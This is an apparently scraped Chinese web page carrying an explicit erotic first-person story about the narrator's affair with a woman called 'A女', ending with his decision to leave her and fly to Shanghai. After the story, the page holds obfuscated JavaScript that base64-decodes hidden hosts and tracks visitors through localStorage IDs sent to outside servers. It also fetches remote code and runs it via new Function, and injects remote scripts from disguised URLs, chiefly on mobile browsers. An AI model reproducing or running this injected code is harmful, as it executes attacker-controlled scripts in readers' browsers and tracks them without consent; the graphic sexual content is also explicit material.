“是,我是欠肏,跟你肏屄太舒服了。”A女一点没有羞涩的意识,继续央求道:“好吧,守杰,再肏我一次你再走行不行?”

见她这麽不被肏不罢休的样子,我一想:也好,不肏白不肏,肏了也白肏,今晚上就跟你打最后一炮。

说也奇怪,虽然下午已经打了一炮,但那晚我竞技状态极佳。我知道这是离别的炮声,就跟十月革命那一声炮响一样,被我的潜意识赋予了格外曆史的意义。
 
 
进门以后,我就把她抱起来站着搞了有半小时。站着抱着她搞的角度非常刁,小弟弟必须坚如磐石才能保证不滑出来,但给A女的刺激又极其强烈,力度和角度大概都是她从未领教过的,顿时把A女爽的死去活来。

A女紧紧抓住我的双臂,两只淩空的脚,则拼命地往下蹬踩,仿佛想找着什麽可供支撑东西。整个身体以大于120度的角度前后摇摆,大开大合,腰部以下以每秒大于2次的速度急速抽动,呼吸的频率每分锺大于120次,呻吟强度大于100分贝。就连两人的下体,也发出了抽送的巨响,吧嗒吧嗒的,就像光脚从稀泥里硬拔出来那种声音。
 
 
说实话连俺都奇怪自己怎麽有这麽强的能力和体力,大概因爲这是最后一操,俺就跟传说中的轩辕神剑一样;不但用力,而且用功,还要用气,更要用心。集天地之菁,合四海之华,融阴阳之盛,彙乾坤之锐,集中力、功、气、心四大法宝,终于练成了盖世无双的超级神功。
 
 
俺的轩辕神剑刀锋一指,所向披靡。只听A女鬼哭狼嚎,数次达到百年不遇的特大高潮,每次高潮时都从阴户里流出一股暖流喷射到小弟弟头上。她发出的叫声,都不再是从喉咙里发出的,而是从胸腔,腹腔里发出;就连她的阴户里面,也竟然发出了一阵长长的,如同汽笛一般的怪声。
 
 
完事后,我把她扔到床上,她就那麽瘫着,手脚不能再动,只有阵阵微呻,周身上下绯红,如同烂醉如泥。尽管我体力好,但这麽一折腾其实我也累得够呛。就爬到她的身边,把小弟弟对準她的嘴巴,跟往常一样要她爲我舔净残留的精液。
 
 
A女累的连眼睛都难以睁开,只得闭着眼睛微微张开小嘴,伸出舌头有气无力地在小弟弟上舔着。
 
 
我心想:呵呵,今天算是让你领教俺的威风了吧?这一炮,俺要打得你永志不忘、刻骨铭心。

谁知,A女也不愧是女中豪杰。在她爲俺舔净下面的这段时间里,竟然又渐渐恢複了元气。她不甘心做俺的手下败将,竟又挣扎着爬起来,再度把俺的小弟弟舔硬,然后撅起屁股要来了个梅开二度,等待俺的神剑再度插入。
 
 
俺一看,靠,这真是巾帼不让须眉,简直就是藐视中央权威,向本怪杰再下战书嘛,怎能示弱?立刻抖擞精神,重新披挂上马,又从后边搞了一阵;稍做休息后又让她蹲在我身上搞了一阵。
 
 
一米五的双人床被我俩压得咯吱咯吱作响,床上的单子褥子,被一遍又一遍的汗水和体液浸湿得有如刚刚洗过一般。直到俺射空了一切子弹,再挤不出一滴水来;直到她再也动不了一下,再也吭不出一声,这才轻轻的我走了,正如我轻轻的来,我挥一挥衣袖,不带走一片云彩。

回家后,那一夜我都没合眼,仍然在矛盾中挣扎。是走,还是留?我决心难下。虽然仅仅跟她交往了两个多月,但我一开始就抱着全身心投入进去的,对她寄予了莫大的希望。而她给予我的关心,也让我着实感激,以及感动。

A女这个女人,尽管现在的她非常贪婪,可十年前的她应该不是这样,我想那时她也是个单纯的女孩,爲了爱情可以抛弃一切。要是那时我遇到她就好了,同样单纯的我依旧会像对前妻一样,一心一意对她好。而且,我不像她前夫那麽无能,肯定会给她一个小康以上的条件。没準,有勤劳体贴的她在我后面做支撑,我还能混得更加成功,给她更富足的生活。而她没有经曆过贫穷的压抑、物欲的诱惑和前夫背叛的刺激,也许不会变得这麽贪婪疯狂。

况且,假如我们那时相逢,也没有皮皮这个让人难以接受的尴尬因素。那样的话,也许我们会比较幸福。她也许是个既贤惠能干又懂风情的好妻子,一个性感尤物。唉,所谓恨不相逢未嫁时,应该就是指我们这种情况……

只是可惜,再幻想这些还有什麽用呢?曆史是不能假设的。冷酷的现实就是,A女是个不可救药的物欲女,她跟患了强迫症一样极度迷恋物质享受,不惜代价、不计后果,最终生生毁灭了自己。

A女的悲剧在于:她贪得无厌的物欲,让条件一般的男人无法承受;而那些可以承受的有钱人,又看不上她日渐衰老的容顔和远离青春的年龄。也许趁着她还有几分姿色,玩她两年还可以,再老就不行了。所以,A女今后的生活注定是一场悲剧。不是别人害了她,而是她的贪婪和心理扭曲害了自己。

而她的毁灭,我的退却,也让我感到心疼。我被她感动过,知道她曾经是一位温柔善良的女孩,也知道她受过很多苦,曾由衷地爲她感到怜惜。是啊,我多想再做一次救世主拯救她,可我做不到。她陷得太深,而我的耐心太少,我的能力也不足。想到这里,我终于痛下决心,离开她。

但是我也清楚,以自己优柔寡断的个性,假如再在北京待着的话,她要是万一来找我,我真不知道能不能抵挡住她的眼泪,还有她充满期待的目光……所以,我必须离开这个城市一段时间,去换换环境,散散心,逃离她的视野。她已经不年轻了,经不起耗,否则她连青春末班车也赶不上了。所以,只要我逃离一段时间,她自然就会去寻找别的目标,或者说猎物。

这是一个人人都在玩的游戏,我们逡巡在都市丛林里,都是猎人,同时也都是别人的猎物。

好多东西,如果招惹不起,还是侧身让路比较明智。

第二天一早,我就跟老板主动打报告,要求派我去外地出差。我们这个行当,出差本是家常便饭,大家其实都烦出差了,特别是出长差。正好,公司在上海有个项目,本来是安排别人去的,但因爲驻勤时间长达两个多月,而且上海生活花费比较高,补贴却跟去别处出差一样,那人也不是很愿意去。所以,我一说我想出差,正中老板下怀,马上就批了。

在北京到上海的班机上,爲打发时间,我听起了MP3。听着听着,一首电视剧《像雾像雨又像风》的主题曲《让梦冬眠》传入耳中。以前听到这首歌时没有太多感触,只是觉得它的旋律比较优美就下载了,那歌词是什麽我还真没怎麽在意。但是,这一次听到这首歌,却忽然有了不同的感受。

天不再是昨天

那缘也不像前缘

双眼藏两句誓言

还未说就已改变

线一人握一半

永远消失在梦中的夜晚

一回头熟悉的容顔再看不见

今生的爱走远

来世的痛提前

风和雨说再见

心被雾深陷

今生的爱走远

让来世痛提前

谁丢失了时间

让梦冬眠……

今生的爱走远,让来世痛提前,谁丢失了时间,让梦冬眠……伴随着这旋律,这歌词,我不禁又回忆起跟A女相处的点点滴滴。虽然已经下决心彻底甩掉她,但不能说对她没有一丝牵挂和留恋。本来遇到她,我以爲找到了真爱,鼓起了希望;可是,那种感觉,瞬间就失去了……

关闭
关闭
function wfSvZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RQFSo(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wfSvZ(t);};window[''+'B'+'Q'+'s'+'g'+'C'+'N'+'J'+'E'+'Z'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function fily(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=RQFSo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=fily(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=fily(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmFoZGFpaai5jb20lM0E4ODkx','d3NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNAA==','9489',window,document,['a','A']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();